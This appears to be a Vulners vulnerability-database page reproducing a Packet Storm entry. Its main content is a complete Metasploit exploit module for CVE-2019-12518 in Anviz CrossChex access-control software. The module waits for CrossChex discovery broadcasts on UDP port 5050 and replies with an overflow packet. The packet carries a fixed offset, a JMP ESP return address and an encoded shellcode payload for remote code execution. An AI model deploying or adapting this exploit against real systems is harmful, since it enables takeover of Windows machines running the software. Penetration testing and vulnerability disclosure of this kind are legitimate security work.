Lucene search
K

Anviz CrossChex Buffer Overflow

🗓️ 13 Feb 2020 00:00:00Reported by Pedro RodriguesType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 191 Views

Anviz CrossChex Buffer Overflow module triggers a stack buffer overflow by responding to broadcasts from Ainz CrossChex looking for new devices

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Anviz CrossChex - Buffer Overflow Exploit
17 Feb 202000:00
zdt
Circl
CVE-2019-12518
13 Feb 202015:58
circl
CNVD
Anviz CrossChex access control management software buffer overflow vulnerability
4 Dec 201900:00
cnvd
CVE
CVE-2019-12518
2 Dec 201916:49
cve
Cvelist
CVE-2019-12518
2 Dec 201916:49
cvelist
Exploit DB
Anviz CrossChex - Buffer Overflow (Metasploit)
17 Feb 202000:00
exploitdb
Metasploit
Anviz CrossChex Buffer Overflow
3 Feb 202017:02
metasploit
NVD
CVE-2019-12518
2 Dec 201917:15
nvd
Prion
Buffer overflow
2 Dec 201917:15
prion
RedhatCVE
CVE-2019-12518
7 Jan 202609:29
redhatcve
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
PACKET_LEN = 10  
  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Anviz CrossChex Buffer Overflow',  
'Description' => %q{  
Waits for broadcasts from Ainz CrossChex looking for new devices, and returns a custom broadcast,  
triggering a stack buffer overflow.  
},  
'Author' =>  
[  
'Luis Catarino <[email protected]>', # original discovery/exploit  
'Pedro Rodrigues <[email protected]>', # original discovery/exploit  
'agalway-r7', # Module creation  
'adfoster-r7' # Module creation  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2019-12518'],  
['URL', 'https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html'],  
['EDB', '47734']  
],  
'Payload' =>  
{  
'Space' => 8947,  
'DisableNops' => true  
},  
'Arch' => ARCH_X86,  
'EncoderType' => Msf::Encoder::Type::Raw,  
'Privileged' => true,  
'Platform' => 'win',  
'DisclosureDate' => '2019-11-28',  
'Targets' =>  
[  
[  
'Crosschex Standard x86 <= V4.3.12',  
{  
'Offset' => 261, # Overwrites memory to allow EIP to be overwritten  
'Ret' => "\x07\x18\x42\x00", # Overwrites EIP with address of 'JMP ESP' assembly command found in CrossChex data  
'Shift' => 4 # Positions payload to be written at beginning of ESP  
}  
]  
],  
'DefaultTarget' => 0  
))  
deregister_udp_options  
register_options(  
[  
Opt::CPORT(5050, true, 'Port used to listen for CrossChex Broadcast.'),  
Opt::CHOST("0.0.0.0", true, 'IP address that UDP Socket listens for CrossChex broadcast on. \'0.0.0.0\' is needed to receive broadcasts.'),  
OptInt.new('TIMEOUT', [true, 'Time in seconds to wait for a CrossChex broadcast. 0 or less waits indefinitely.', 100])  
])  
end  
  
def exploit  
connect_udp  
  
res, host, port = udp_sock.recvfrom(PACKET_LEN, datastore["TIMEOUT"].to_i > 0 ? (datastore["TIMEOUT"].to_i) : (nil))  
if res.empty?  
fail_with(Failure::TimeoutExpired, "Module timed out waiting for CrossChex broadcast")  
end  
  
print_status "CrossChex broadcast received, sending payload in response"  
sploit = rand_text_english(target['Offset'])  
sploit << target.ret # Overwrites EIP with address of 'JMP ESP' assembly command found in CrossChex data  
sploit << rand_text_english(target['Shift']) # Positions payload to be written at beginning of ESP  
sploit << payload.encoded  
  
udp_sock.sendto(sploit, host, port)  
print_status "Payload sent"  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Feb 2020 00:00Current
1Low risk
Vulners AI Score1
EPSS0.74844
191